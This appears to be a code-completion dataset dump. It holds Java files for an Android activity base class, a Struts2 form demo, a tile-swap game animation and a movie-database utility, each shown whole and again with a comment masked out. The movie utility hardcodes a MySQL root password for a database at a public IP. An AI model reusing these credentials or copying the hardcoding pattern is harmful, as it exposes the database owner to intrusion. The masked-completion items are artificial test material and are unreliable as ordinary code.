findViewById(R.id.title_layout); titleLayout.setBackgroundColor(color); } /** * 显示标题栏左部图片 * * @param resId 图片资源的ID * @param clickListener 点击事件 */ protected void showLeftWithImage(int resId, View.OnClickListener clickListener) { ImageView leftImage = (ImageView) findViewById(R.id.left_title_image); leftImage.setVisibility(View.VISIBLE); leftImage.setImageResource(resId); //设置点击区域 LinearLayout leftClickRange = (LinearLayout) findViewById(R.id.left_title_layout); leftClickRange.setOnClickListener(clickListener); } /** * 显示左部的文字 * * @param str 所要显示的文字 * @param clickListener 点击事件 */ protected void showLeftWithText(String str, View.OnClickListener clickListener) { TextView leftText = (TextView) findViewById(R.id.left_title_text); leftText.setVisibility(View.VISIBLE); leftText.setText(str); //设置点击区域 LinearLayout leftClickRange = (LinearLayout) findViewById(R.id.left_title_layout); leftClickRange.setOnClickListener(clickListener); } /** * 显示标题栏右部图片 * * @param resId 图片资源的ID * @param clickListener 点击事件 */ protected void showRightWithImage(int resId, View.OnClickListener clickListener) { ImageView rightImage = (ImageView) findViewById(R.id.right_title_image); rightImage.setVisibility(View.VISIBLE); rightImage.setImageResource(resId); //设置点击区域 LinearLayout rightClickRange = (LinearLayout) findViewById(R.id.right_title_layout); rightClickRange.setOnClickListener(clickListener); } /** * 显示标题栏右部第二个图片 * * @param resId 图片资源的ID * @param clickListener 点击事件 */ protected void showRightWithSecondImage(int resId, View.OnClickListener clickListener) { ImageView rightImage = (ImageView) findViewById(R.id.right_second_title_image); rightImage.setVisibility(View.VISIBLE); rightImage.setImageResource(resId); //设置点击区域 LinearLayout rightClickRange = (LinearLayout) findViewById(R.id.right_second_title_layout); rightClickRange.setOnClickListener(clickListener); } /** * 显示右部的文字 * * @param str 所要显示的文字 * @param clickListener 点击事件 */ protected void showRightWithText(String str, View.OnClickListener clickListener) { TextView rightText = (TextView) findViewById(R.id.right_title_text); rightText.setVisibility(View.VISIBLE); rightText.setText(str); //设置点击区域 LinearLayout rightClickRange = (LinearLayout) findViewById(R.id.right_title_layout); rightClickRange.setOnClickListener(clickListener); } /** * 显示自定义的Toast,并在有软键盘和没有软键盘弹出时间不相同 * * @param strId 在strings.xml对应的字符串 * @param booleans */ protected void showToast(int strId, boolean[] booleans) { String str = getResources().getString(strId); showToast(str, booleans); } /** * 显示自定义的Toast,并在有软键盘和没有软键盘弹出时间不相同 * * @param str 吐司的内容 * @param booleans 输入框是否有焦点 */ protected void showToast(final String str, final boolean[] booleans) { runOnUiThread(new Runnable() { @Override public void run() { toast.setText(str); // toast.setGravity(Gravity.TOP, 0, dp2px(60)); boolean isAllFocused = false;//是否输入框一个都没有选中 if (booleans != null) { for (boolean b : booleans) { if (b) { isAllFocused = true; break; } } } if (isAllFocused) { closeSoftKeyboard(); handler.postDelayed(new Runnable() { @Override public void run() { toast.show(); // Toast toast = Toast.makeText(context, str, Toast.LENGTH_SHORT); } }, 300); } else { toast.show(); // Toast.makeText(context, str, Toast.LENGTH_SHORT).show(); } } }); } /** * 关闭软键盘 */ protected void closeSoftKeyboard() { if (getCurrentFocus() != null && getCurrentFocus().getWindowToken() != null) { imm.hideSoftInputFromWindow(getCurrentFocus().getWindowToken(), 0); } } /** * 开启软键盘 */ protected void showSoftKeyboard() { imm.toggleSoftInput(0, InputMethodManager.SHOW_FORCED); } protected void showToast(String str) { showToast(str, null); } protected void showToast(int strId) { showToast(strId, null); } /** * 显示进度框 * * @param message 传入显示的文字 */ protected void showProgressDialog(final String message) { runOnUiThread(new Runnable() { @Override public void run() { progressDialog.setMessage(message); progressDialog.setCancelable(false); progressDialog.show(); progressDialog.setOnKeyListener(new DialogInterface.OnKeyListener() { @Override public boolean onKey(DialogInterface dialog, int keyCode, KeyEvent event) { if ((keyCode == KeyEvent.KEYCODE_BACK) && (progressDialog.isShowing())) { progressDialog.dismiss(); return true; } return false; } }); } }); } /** * 显示进度框 * * @param message * @param keyListener 监听点击返回按钮 */ protected void showProgressDialog(final String message, final DialogInterface.OnKeyListener keyListener) { runOnUiThread(new Runnable() { @Override public void run() { progressDialog.setMessage(message); progressDialog.setCancelable(false); progressDialog.show(); progressDialog.setOnKeyListener(keyListener); } }); } /** * 现实对话框 * * @param message 输入显示的文字 * @param sureListener 监听事件 */ protected void showDialog(final String message, final View.OnClickListener sureListener) { runOnUiThread(new Runnable() { @Override public void run() { /** * 初始化对话框 */ dialog = new MyDialog(BaseActivity.this, R.style.TransparentDialog); dialog.setCancelable(false); dialog.setDialogTitle("提示"); dialog.setDialogContent(message); dialog.setMyOnclickListener(new View.OnClickListener() { @Override public void onClick(View v) { dialog.dismiss(); } }, sureListener); dialog.show(); } }); } /** * 现实对话框 * * @param message 输入显示的文字 * @param sureListener 监听事件 */ protected void showDialog(final String message, final String leftButtonStr, final String rightButtonStr, final View.OnClickListener sureListener) { runOnUiThread(new Runnable() { @Override public void run() { /** * 初始化对话框 */ dialog = new MyDialog(BaseActivity.this, R.style.TransparentDialog); dialog.setCancelable(false); dialog.setDialogTitle("提示"); dialog.setButtonText(leftButtonStr, rightButtonStr); dialog.setDialogContent(message); dialog.setMyOnclickListener(new View.OnClickListener() { @Override public void onClick(View v) { dialog.dismiss(); } }, sureListener); dialog.show(); } }); } /** * 现实对话框 * * @param message 输入显示的文字 * @param sureListener 监听事件 */ protected void showDialog(final String message, final View.OnClickListener sureListener , final View.OnClickListener cancelListener) { runOnUiThread(new Runnable() { @Override public void run() { /** * 初始化对话框 */ dialog = new MyDialog(BaseActivity.this, R.style.TransparentDialog); dialog.setCancelable(false); dialog.setDialogTitle("提示"); dialog.setDialogContent(message); dialog.setMyOnclickListener(cancelListener, sureListener); dialog.show(); } }); } /** * 关闭对话框 */ protected void cancelProgressDialog() { if (progressDialog != null && progressDialog.isShowing()) progressDialog.cancel(); } /** * 关闭进度框 */ protected void cancelDialog() { if (dialog != null && dialog.isShowing()) { dialog.dismiss(); } } /** * popupwindow关闭,显示正常 */ protected void onLight() { WindowManager.LayoutParams lp = getWindow().getAttributes(); lp.alpha = 1.0f; getWindow().setAttributes(lp); } /** * popupwindow开启,显示暗色 */ protected void offLight() { WindowManager.LayoutParams lp = getWindow().getAttributes(); lp.alpha = 0.7f; getWindow().setAttributes(lp); } }
0
2,677
10
3,063
10
3,279
9
3,063
10
4,045
15
false
false
false
false
false
true
37994_8
package demoinfo.struts2.tag; import org.apache.struts2.ServletActionContext; import com.opensymphony.xwork2.ActionSupport; import com.opensymphony.xwork2.Validateable; import com.opensymphony.xwork2.ognl.OgnlValueStack; import java.util.ArrayList; import java.util.Collections; import java.util.Date; import java.util.HashMap; import java.util.List; import java.util.Map; import java.io.File; /** * struts2标签实例 */ @SuppressWarnings("all") public class TagAction extends ActionSupport implements Validateable { private static final long serialVersionUID = -94044809860988047L; String name; //姓名 Date birthday; //生日 String bio; //传记 String film; //电影 List<String> friends; //朋友 boolean legalAge; //是否成年 String region; //地区 String state; //地区下的某个小地区 File picture; //照片 String pictureContentType; //照片类型 String pictureFileName; //照片名字 String favouriteLanguage; //喜欢的语言 String favouriteVehicalType = "MotorcycleKey"; //喜欢的汽车种类 String favouriteVehicalSpecific = "YamahaKey"; //喜欢汽车种类中的某个品牌的汽车 @SuppressWarnings("rawtypes") List leftSideCartoonCharacters; List rightSideCartoonCharacters; List favouriteLanguages = new ArrayList(); List vehicalTypeList = new ArrayList(); Map vehicalSpecificMap = new HashMap(); /** * 构造函数添加下拉框选项 语言、地区、汽车 */ public TagAction() { favouriteLanguages.add(new Language("EnglishKey", "English Language")); favouriteLanguages.add(new Language("FrenchKey", "French Language")); favouriteLanguages.add(new Language("SpanishKey", "Spanish Language")); VehicalType car = new VehicalType("CarKey", "Car"); VehicalType motorcycle = new VehicalType("MotorcycleKey", "Motorcycle"); vehicalTypeList.add(car); vehicalTypeList.add(motorcycle); List cars = new ArrayList(); cars.add(new VehicalSpecific("MercedesKey", "Mercedes")); cars.add(new VehicalSpecific("HondaKey", "Honda")); cars.add(new VehicalSpecific("FordKey", "Ford")); List motorcycles = new ArrayList(); motorcycles.add(new VehicalSpecific("SuzukiKey", "Suzuki")); motorcycles.add(new VehicalSpecific("YamahaKey", "Yamaha")); vehicalSpecificMap.put(car, cars); vehicalSpecificMap.put(motorcycle, motorcycles); } public List getVehicalSpecificList() { OgnlValueStack stack = (OgnlValueStack) ServletActionContext.getValueStack(ServletActionContext.getRequest()); Object vehicalType = stack.findValue("top"); if (vehicalType != null && vehicalType instanceof VehicalType) { List l = (List) vehicalSpecificMap.get(vehicalType); return l; } return Collections.EMPTY_LIST; } //初始化时 public String execute() throws Exception { return "input"; } //提交表单后 public String doSubmit() { return SUCCESS; } // === inner class public static class Language { String description; String key; public Language(String key, String description) { this.key = key; this.description = description; } public String getKey() { return key; } public String getDescription() { return description; } } public static class VehicalType { String key; String description; public VehicalType(String key, String description) { this.key = key; this.description = description; } public String getKey() { return this.key; } public String getDescription() { return this.description; } public boolean equals(Object obj) { if (! (obj instanceof VehicalType)) { return false; } else { return key.equals(((VehicalType)obj).getKey()); } } public int hashCode() { return key.hashCode(); } } public static class VehicalSpecific { String key; String description; public VehicalSpecific(String key, String description) { this.key = key; this.description = description; } public String getKey() { return this.key; } public String getDescription() { return this.description; } public boolean equals(Object obj) { if (! (obj instanceof VehicalSpecific)) { return false; } else { return key.equals(((VehicalSpecific)obj).getKey()); } } public int hashCode() { return key.hashCode(); } } public String getName() { return name; } public void setName(String name) { this.name = name; } public Date getBirthday() { return birthday; } public void setBirthday(Date birthday) { this.birthday = birthday; } public String getBio() { return bio; } public void setBio(String bio) { this.bio = bio; } public String getFilm() { return film; } public void setFilm(String film) { this.film = film; } public List<String> getFriends() { return friends; } public void setFriends(List<String> friends) { this.friends = friends; } public boolean isLegalAge() { return legalAge; } public void setLegalAge(boolean legalAge) { this.legalAge = legalAge; } public String getRegion() { return region; } public void setRegion(String region) { this.region = region; } public String getState() { return state; } public void setState(String state) { this.state = state; } public File getPicture() { return picture; } public void setPicture(File picture) { this.picture = picture; } public String getPictureContentType() { return pictureContentType; } public void setPictureContentType(String pictureContentType) { this.pictureContentType = pictureContentType; } public String getPictureFileName() { return pictureFileName; } public void setPictureFileName(String pictureFileName) { this.pictureFileName = pictureFileName; } public String getFavouriteLanguage() { return favouriteLanguage; } public void setFavouriteLanguage(String favouriteLanguage) { this.favouriteLanguage = favouriteLanguage; } public String getFavouriteVehicalType() { return favouriteVehicalType; } public void setFavouriteVehicalType(String favouriteVehicalType) { this.favouriteVehicalType = favouriteVehicalType; } public String getFavouriteVehicalSpecific() { return favouriteVehicalSpecific; } public void setFavouriteVehicalSpecific(String favouriteVehicalSpecific) { this.favouriteVehicalSpecific = favouriteVehicalSpecific; } public List getLeftSideCartoonCharacters() { return leftSideCartoonCharacters; } public void setLeftSideCartoonCharacters(List leftSideCartoonCharacters) { this.leftSideCartoonCharacters = leftSideCartoonCharacters; } public List getRightSideCartoonCharacters() { return rightSideCartoonCharacters; } public void setRightSideCartoonCharacters(List rightSideCartoonCharacters) { this.rightSideCartoonCharacters = rightSideCartoonCharacters; } public List getFavouriteLanguages() { return favouriteLanguages; } public void setFavouriteLanguages(List favouriteLanguages) { this.favouriteLanguages = favouriteLanguages; } public List getVehicalTypeList() { return vehicalTypeList; } public void setVehicalTypeList(List vehicalTypeList) { this.vehicalTypeList = vehicalTypeList; } public Map getVehicalSpecificMap() { return vehicalSpecificMap; } public void setVehicalSpecificMap(Map vehicalSpecificMap) { this.vehicalSpecificMap = vehicalSpecificMap; } }
309633415/MyHttp
MyHttp/src/demoinfo/struts2/tag/TagAction.java
2,259
/** * 构造函数添加下拉框选项 语言、地区、汽车 */
block_comment
zh-cn
package demoinfo.struts2.tag; import org.apache.struts2.ServletActionContext; import com.opensymphony.xwork2.ActionSupport; import com.opensymphony.xwork2.Validateable; import com.opensymphony.xwork2.ognl.OgnlValueStack; import java.util.ArrayList; import java.util.Collections; import java.util.Date; import java.util.HashMap; import java.util.List; import java.util.Map; import java.io.File; /** * struts2标签实例 */ @SuppressWarnings("all") public class TagAction extends ActionSupport implements Validateable { private static final long serialVersionUID = -94044809860988047L; String name; //姓名 Date birthday; //生日 String bio; //传记 String film; //电影 List<String> friends; //朋友 boolean legalAge; //是否成年 String region; //地区 String state; //地区下的某个小地区 File picture; //照片 String pictureContentType; //照片类型 String pictureFileName; //照片名字 String favouriteLanguage; //喜欢的语言 String favouriteVehicalType = "MotorcycleKey"; //喜欢的汽车种类 String favouriteVehicalSpecific = "YamahaKey"; //喜欢汽车种类中的某个品牌的汽车 @SuppressWarnings("rawtypes") List leftSideCartoonCharacters; List rightSideCartoonCharacters; List favouriteLanguages = new ArrayList(); List vehicalTypeList = new ArrayList(); Map vehicalSpecificMap = new HashMap(); /** * 构造函 <SUF>*/ public TagAction() { favouriteLanguages.add(new Language("EnglishKey", "English Language")); favouriteLanguages.add(new Language("FrenchKey", "French Language")); favouriteLanguages.add(new Language("SpanishKey", "Spanish Language")); VehicalType car = new VehicalType("CarKey", "Car"); VehicalType motorcycle = new VehicalType("MotorcycleKey", "Motorcycle"); vehicalTypeList.add(car); vehicalTypeList.add(motorcycle); List cars = new ArrayList(); cars.add(new VehicalSpecific("MercedesKey", "Mercedes")); cars.add(new VehicalSpecific("HondaKey", "Honda")); cars.add(new VehicalSpecific("FordKey", "Ford")); List motorcycles = new ArrayList(); motorcycles.add(new VehicalSpecific("SuzukiKey", "Suzuki")); motorcycles.add(new VehicalSpecific("YamahaKey", "Yamaha")); vehicalSpecificMap.put(car, cars); vehicalSpecificMap.put(motorcycle, motorcycles); } public List getVehicalSpecificList() { OgnlValueStack stack = (OgnlValueStack) ServletActionContext.getValueStack(ServletActionContext.getRequest()); Object vehicalType = stack.findValue("top"); if (vehicalType != null && vehicalType instanceof VehicalType) { List l = (List) vehicalSpecificMap.get(vehicalType); return l; } return Collections.EMPTY_LIST; } //初始化时 public String execute() throws Exception { return "input"; } //提交表单后 public String doSubmit() { return SUCCESS; } // === inner class public static class Language { String description; String key; public Language(String key, String description) { this.key = key; this.description = description; } public String getKey() { return key; } public String getDescription() { return description; } } public static class VehicalType { String key; String description; public VehicalType(String key, String description) { this.key = key; this.description = description; } public String getKey() { return this.key; } public String getDescription() { return this.description; } public boolean equals(Object obj) { if (! (obj instanceof VehicalType)) { return false; } else { return key.equals(((VehicalType)obj).getKey()); } } public int hashCode() { return key.hashCode(); } } public static class VehicalSpecific { String key; String description; public VehicalSpecific(String key, String description) { this.key = key; this.description = description; } public String getKey() { return this.key; } public String getDescription() { return this.description; } public boolean equals(Object obj) { if (! (obj instanceof VehicalSpecific)) { return false; } else { return key.equals(((VehicalSpecific)obj).getKey()); } } public int hashCode() { return key.hashCode(); } } public String getName() { return name; } public void setName(String name) { this.name = name; } public Date getBirthday() { return birthday; } public void setBirthday(Date birthday) { this.birthday = birthday; } public String getBio() { return bio; } public void setBio(String bio) { this.bio = bio; } public String getFilm() { return film; } public void setFilm(String film) { this.film = film; } public List<String> getFriends() { return friends; } public void setFriends(List<String> friends) { this.friends = friends; } public boolean isLegalAge() { return legalAge; } public void setLegalAge(boolean legalAge) { this.legalAge = legalAge; } public String getRegion() { return region; } public void setRegion(String region) { this.region = region; } public String getState() { return state; } public void setState(String state) { this.state = state; } public File getPicture() { return picture; } public void setPicture(File picture) { this.picture = picture; } public String getPictureContentType() { return pictureContentType; } public void setPictureContentType(String pictureContentType) { this.pictureContentType = pictureContentType; } public String getPictureFileName() { return pictureFileName; } public void setPictureFileName(String pictureFileName) { this.pictureFileName = pictureFileName; } public String getFavouriteLanguage() { return favouriteLanguage; } public void setFavouriteLanguage(String favouriteLanguage) { this.favouriteLanguage = favouriteLanguage; } public String getFavouriteVehicalType() { return favouriteVehicalType; } public void setFavouriteVehicalType(String favouriteVehicalType) { this.favouriteVehicalType = favouriteVehicalType; } public String getFavouriteVehicalSpecific() { return favouriteVehicalSpecific; } public void setFavouriteVehicalSpecific(String favouriteVehicalSpecific) { this.favouriteVehicalSpecific = favouriteVehicalSpecific; } public List getLeftSideCartoonCharacters() { return leftSideCartoonCharacters; } public void setLeftSideCartoonCharacters(List leftSideCartoonCharacters) { this.leftSideCartoonCharacters = leftSideCartoonCharacters; } public List getRightSideCartoonCharacters() { return rightSideCartoonCharacters; } public void setRightSideCartoonCharacters(List rightSideCartoonCharacters) { this.rightSideCartoonCharacters = rightSideCartoonCharacters; } public List getFavouriteLanguages() { return favouriteLanguages; } public void setFavouriteLanguages(List favouriteLanguages) { this.favouriteLanguages = favouriteLanguages; } public List getVehicalTypeList() { return vehicalTypeList; } public void setVehicalTypeList(List vehicalTypeList) { this.vehicalTypeList = vehicalTypeList; } public Map getVehicalSpecificMap() { return vehicalSpecificMap; } public void setVehicalSpecificMap(Map vehicalSpecificMap) { this.vehicalSpecificMap = vehicalSpecificMap; } }
0
1,824
21
2,259
22
2,106
19
2,259
22
2,700
34
false
false
false
false
false
true
45943_8
/********************************************************** * 项目名称:山寨腾讯“爱消除”游戏7日教程 * 作 者:郑敏新 * 腾讯微博:SuperCube3D * 日 期:2013年12月 * 声 明:版权所有 侵权必究 * 本源代码供网友研究学习OpenGL ES开发Android应用用, * 请勿全部或部分用于商业用途 ********************************************************/ package elong.CrazyLink.Control; import android.os.Bundle; import android.os.Message; import elong.CrazyLink.Core.ControlCenter; public class CtlExchange extends CtlBase{ int mCol1 = 0; //坐标值 int mCol2 = 0; int mRow1 = 0; int mRow2 = 0; int mDeltaX1 = 0; //偏移量 int mDeltaY1 = 0; int mDeltaX2 = 0; int mDeltaY2 = 0; int mStep = 10; //偏移步长 boolean mDirectionX = true; //运动方向控制 boolean mDirectionY = true; boolean mNeedMoveX = false; //是否需要偏移 boolean mNeedMoveY = false; public void init(int token, int col1, int row1, int col2, int row2) { super.setToken(token); mNeedMoveX = false; mNeedMoveY = false; mCol1 = col1; mCol2 = col2; mRow1 = row1; mRow2 = row2; if(col1 == col2) { mDeltaX1 = 0; mDeltaX2 = 0; } else { //根据坐标位置来决定运动的初始方向 mNeedMoveX = true; if(col1 > col2) { mDirectionX = true; mDeltaX1 = 40; } else { mDirectionX = false; mDeltaX1 = -40; } } if(row1 == row2) { mDeltaY1 = 0; mDeltaY2 = 0; } else { //根据坐标位置来决定运动的初始方向 mNeedMoveY = true; if(row1 > row2) { mDirectionY = true; mDeltaY1 = 40; } else { mDirectionY = false; mDeltaY1 = -40; } } mStop = false; } public void run() { if(mStop) return; //将偏移范围限定在-0.5~0.5间,超出指定区间即掉头 if(mNeedMoveX) { if(mDeltaX1 >= 50) { mDirectionX = true; mStop = true; } else if (mDeltaX1 <= -50) { mDirectionX = false; mStop = true; } if(mDirectionX) { mDeltaX1 -= mStep; mDeltaX2 = -mDeltaX1; } else { mDeltaX1 += mStep; mDeltaX2 = -mDeltaX1; } } if(mNeedMoveY) { if(mDeltaY1 >= 50) { mDirectionY = true; mStop = true; } else if (mDeltaY1 <= -50) { mDirectionY = false; mStop = true; } if(mDirectionY) { mDeltaY1 -= mStep; mDeltaY2 = -mDeltaY1; } else { mDeltaY1 += mStep; mDeltaY2 = -mDeltaY1; } } if(mStop) { sendMsg(); } } public float getX1() { float delta = 0; //根据给定坐标设置初始偏移量,将运动范围控制在0~1或0~-1区间 if(mCol1 > mCol2) { delta = -0.5f; } else if(mCol1 < mCol2) { delta = 0.5f; } return delta + mDeltaX1/100.0f; } public float getX2() { float delta = 0; //根据给定坐标设置初始偏移量,将运动范围控制在0~1或0~-1区间 if(mCol1 > mCol2) { delta = 0.5f; } else if(mCol1 < mCol2) { delta = -0.5f; } return delta + mDeltaX2/100.0f; } public float getY1() { float delta = 0; //根据给定坐标设置初始偏移量,将运动范围控制在0~1或0~-1区间 if(mRow1 > mRow2) { delta = -0.5f; } else if(mRow1 < mRow2) { delta = 0.5f; } return delta + mDeltaY1/100.0f; } public float getY2() { float delta = 0; //根据给定坐标设置初始偏移量,将运动范围控制在0~1或0~-1区间 if(mRow1 > mRow2) { delta = 0.5f; } else if(mRow1 < mRow2) { delta = -0.5f; } return delta + mDeltaY2/100.0f; } public void sendMsg() { Bundle b = new Bundle(); b.putInt("token", mToken); setToken(-1); b.putInt("col1", mCol1); b.putInt("row1", mRow1); b.putInt("col2", mCol2); b.putInt("row2", mRow2); Message msg = new Message(); msg.what = ControlCenter.EXCHANGE_END; msg.setData(b); ControlCenter.mHandler.sendMessage(msg); } }
3125788/CrazyLink
src/elong/CrazyLink/Control/CtlExchange.java
1,715
//将偏移范围限定在-0.5~0.5间,超出指定区间即掉头
line_comment
zh-cn
/********************************************************** * 项目名称:山寨腾讯“爱消除”游戏7日教程 * 作 者:郑敏新 * 腾讯微博:SuperCube3D * 日 期:2013年12月 * 声 明:版权所有 侵权必究 * 本源代码供网友研究学习OpenGL ES开发Android应用用, * 请勿全部或部分用于商业用途 ********************************************************/ package elong.CrazyLink.Control; import android.os.Bundle; import android.os.Message; import elong.CrazyLink.Core.ControlCenter; public class CtlExchange extends CtlBase{ int mCol1 = 0; //坐标值 int mCol2 = 0; int mRow1 = 0; int mRow2 = 0; int mDeltaX1 = 0; //偏移量 int mDeltaY1 = 0; int mDeltaX2 = 0; int mDeltaY2 = 0; int mStep = 10; //偏移步长 boolean mDirectionX = true; //运动方向控制 boolean mDirectionY = true; boolean mNeedMoveX = false; //是否需要偏移 boolean mNeedMoveY = false; public void init(int token, int col1, int row1, int col2, int row2) { super.setToken(token); mNeedMoveX = false; mNeedMoveY = false; mCol1 = col1; mCol2 = col2; mRow1 = row1; mRow2 = row2; if(col1 == col2) { mDeltaX1 = 0; mDeltaX2 = 0; } else { //根据坐标位置来决定运动的初始方向 mNeedMoveX = true; if(col1 > col2) { mDirectionX = true; mDeltaX1 = 40; } else { mDirectionX = false; mDeltaX1 = -40; } } if(row1 == row2) { mDeltaY1 = 0; mDeltaY2 = 0; } else { //根据坐标位置来决定运动的初始方向 mNeedMoveY = true; if(row1 > row2) { mDirectionY = true; mDeltaY1 = 40; } else { mDirectionY = false; mDeltaY1 = -40; } } mStop = false; } public void run() { if(mStop) return; //将偏 <SUF> if(mNeedMoveX) { if(mDeltaX1 >= 50) { mDirectionX = true; mStop = true; } else if (mDeltaX1 <= -50) { mDirectionX = false; mStop = true; } if(mDirectionX) { mDeltaX1 -= mStep; mDeltaX2 = -mDeltaX1; } else { mDeltaX1 += mStep; mDeltaX2 = -mDeltaX1; } } if(mNeedMoveY) { if(mDeltaY1 >= 50) { mDirectionY = true; mStop = true; } else if (mDeltaY1 <= -50) { mDirectionY = false; mStop = true; } if(mDirectionY) { mDeltaY1 -= mStep; mDeltaY2 = -mDeltaY1; } else { mDeltaY1 += mStep; mDeltaY2 = -mDeltaY1; } } if(mStop) { sendMsg(); } } public float getX1() { float delta = 0; //根据给定坐标设置初始偏移量,将运动范围控制在0~1或0~-1区间 if(mCol1 > mCol2) { delta = -0.5f; } else if(mCol1 < mCol2) { delta = 0.5f; } return delta + mDeltaX1/100.0f; } public float getX2() { float delta = 0; //根据给定坐标设置初始偏移量,将运动范围控制在0~1或0~-1区间 if(mCol1 > mCol2) { delta = 0.5f; } else if(mCol1 < mCol2) { delta = -0.5f; } return delta + mDeltaX2/100.0f; } public float getY1() { float delta = 0; //根据给定坐标设置初始偏移量,将运动范围控制在0~1或0~-1区间 if(mRow1 > mRow2) { delta = -0.5f; } else if(mRow1 < mRow2) { delta = 0.5f; } return delta + mDeltaY1/100.0f; } public float getY2() { float delta = 0; //根据给定坐标设置初始偏移量,将运动范围控制在0~1或0~-1区间 if(mRow1 > mRow2) { delta = 0.5f; } else if(mRow1 < mRow2) { delta = -0.5f; } return delta + mDeltaY2/100.0f; } public void sendMsg() { Bundle b = new Bundle(); b.putInt("token", mToken); setToken(-1); b.putInt("col1", mCol1); b.putInt("row1", mRow1); b.putInt("col2", mCol2); b.putInt("row2", mRow2); Message msg = new Message(); msg.what = ControlCenter.EXCHANGE_END; msg.setData(b); ControlCenter.mHandler.sendMessage(msg); } }
0
1,498
23
1,715
26
1,672
22
1,715
26
2,180
38
false
false
false
false
false
true
54693_15
package com.edu.zucc.ygg.movie.util; import com.edu.zucc.ygg.movie.domain.Movie; import com.edu.zucc.ygg.movie.exception.ImgException; import com.edu.zucc.ygg.movie.service.UpImgService; import com.edu.zucc.ygg.movie.service.impl.UpImgServiceImpl; import org.jsoup.Jsoup; import org.jsoup.nodes.Document; import org.jsoup.nodes.Element; import org.jsoup.nodes.Node; import org.jsoup.nodes.TextNode; import org.jsoup.select.Elements; import org.xmlunit.util.Nodes; import tk.mybatis.mapper.util.StringUtil; import java.io.*; import java.net.MalformedURLException; import java.net.URL; import java.sql.*; import java.util.ArrayList; import java.util.Date; import java.util.List; public class Test { public static void uploadMovieImg(Movie movie){ //声明Connection对象 Connection con; //驱动程序名 String driver = "com.mysql.jdbc.Driver"; //URL指向要访问的数据库名mydata String url = "jdbc:mysql://47.107.70.187:3306/movie?useUnicode=true&characterEncoding=utf8&useSSL=false"; //MySQL配置时的用户名 String user = "root"; //MySQL配置时的密码 String password = "Ygg&cc970528"; //遍历查询结果集 try { //加载驱动程序 Class.forName(driver); //1.getConnection()方法,连接MySQL数据库!! con = DriverManager.getConnection(url,user,password); if(!con.isClosed()) System.out.println("Succeeded connecting to the Database!"); //2.创建statement类对象,用来执行SQL语句!! Statement statement = con.createStatement(); //要执行的SQL语句 PreparedStatement ps = con.prepareStatement("insert into movie(" + "name,foreign_name,img_url,release_time," + "sheet_length,make_state,type,director,screenwriter," + "actors,language,introduction)" + "values(?,?,?,?,?,?,?,?,?,?,?,?)"); ps.setString(1,movie.getName()); ps.setString(2,movie.getForeignName()); ps.setString(3,movie.getImgUrl()); ps.setDate(4, new java.sql.Date(movie.getReleaseTime().getTime())); ps.setInt(5,movie.getSheetLength()); ps.setString(6,movie.getMakeState()); ps.setString(7,movie.getType()); ps.setString(8,movie.getDirector()); ps.setString(9,movie.getScreenwriter()); ps.setString(10,movie.getActors()); ps.setString(11,movie.getLanguage()); ps.setString(12,movie.getIntroduction()); ps.execute(); con.close(); } catch(ClassNotFoundException e) { //数据库驱动类异常处理 System.out.println("Sorry,can`t find the Driver!"); e.printStackTrace(); } catch(SQLException e) { //数据库连接失败异常处理 e.printStackTrace(); }catch (Exception e) { // TODO: handle exception e.printStackTrace(); }finally{ System.out.println("数据库数据成功获取!!"); } } public static List<Movie> searchMovieAll(){ List<Movie> movieList = new ArrayList<>(); //声明Connection对象 Connection con; //驱动程序名 String driver = "com.mysql.jdbc.Driver"; //URL指向要访问的数据库名mydata String url = "jdbc:mysql://47.107.70.187:3306/movie?useUnicode=true&characterEncoding=utf8&useSSL=false"; //MySQL配置时的用户名 String user = "root"; //MySQL配置时的密码 String password = "Ygg&cc970528"; //遍历查询结果集 try { //加载驱动程序 Class.forName(driver); //1.getConnection()方法,连接MySQL数据库!! con = DriverManager.getConnection(url,user,password); if(!con.isClosed()) System.out.println("Succeeded connecting to the Database!"); //2.创建statement类对象,用来执行SQL语句!! Statement statement = con.createStatement(); //要执行的SQL语句 PreparedStatement ps = con.prepareStatement("select id,img_url from movie "); ResultSet resultSet = ps.executeQuery(); while(resultSet.next()) { Movie movie = new Movie(); movie.setId(resultSet.getInt("id")); movie.setImgUrl(resultSet.getString("img_url")); movieList.add(movie); } con.close(); } catch(ClassNotFoundException e) { //数据库驱动类异常处理 System.out.println("Sorry,can`t find the Driver!"); e.printStackTrace(); } catch(SQLException e) { //数据库连接失败异常处理 e.printStackTrace(); }catch (Exception e) { // TODO: handle exception e.printStackTrace(); }finally{ System.out.println("数据库数据成功获取!!"); } return movieList; } public static void updateMovieImg(Movie movie){ //声明Connection对象 Connection con; //驱动程序名 String driver = "com.mysql.jdbc.Driver"; //URL指向要访问的数据库名mydata String url = "jdbc:mysql://47.107.70.187:3306/movie?useUnicode=true&characterEncoding=utf8&useSSL=false"; //MySQL配置时的用户名 String user = "root"; //MySQL配置时的密码 String password = "Ygg&cc970528"; //遍历查询结果集 try { //加载驱动程序 Class.forName(driver); //1.getConnection()方法,连接MySQL数据库!! con = DriverManager.getConnection(url,user,password); if(!con.isClosed()) System.out.println("Succeeded connecting to the Database!"); //2.创建statement类对象,用来执行SQL语句!! Statement statement = con.createStatement(); //要执行的SQL语句 PreparedStatement ps = con.prepareStatement("update movie set img_url = ? where id = ?"); ps.setString(1,movie.getImgUrl()); ps.setInt(2,movie.getId()); ps.execute(); con.close(); } catch(ClassNotFoundException e) { //数据库驱动类异常处理 System.out.println("Sorry,can`t find the Driver!"); e.printStackTrace(); } catch(SQLException e) { //数据库连接失败异常处理 e.printStackTrace(); }catch (Exception e) { // TODO: handle exception e.printStackTrace(); }finally{ System.out.println("数据库数据成功获取!!"); } } public static void main(String[] args){ // String img = "https://img1.doubanio.com/view/photo/s_ratio_poster/public/p2516578307.jpg"; // getHtmlPicture(img,filePath,null); // uploadImg("C:/Users/de'l'l/Desktop/testImg/p2233971046.jpg"); // List<Movie> movieList = Test.searchMovieAll(); // for (Movie movie:movieList){ // String filePath = "C:\\Users\\de'l'l\\Desktop\\testImg"; // String oldImgUrl = movie.getImgUrl(); // String fileName = getHtmlPicture(oldImgUrl,filePath,null); // String newImgUrl = uploadImg("C:/Users/de'l'l/Desktop/testImg/"+fileName); // if (newImgUrl!=null){ // movie.setImgUrl(newImgUrl); // updateMovieImg(movie); // } // } String content = 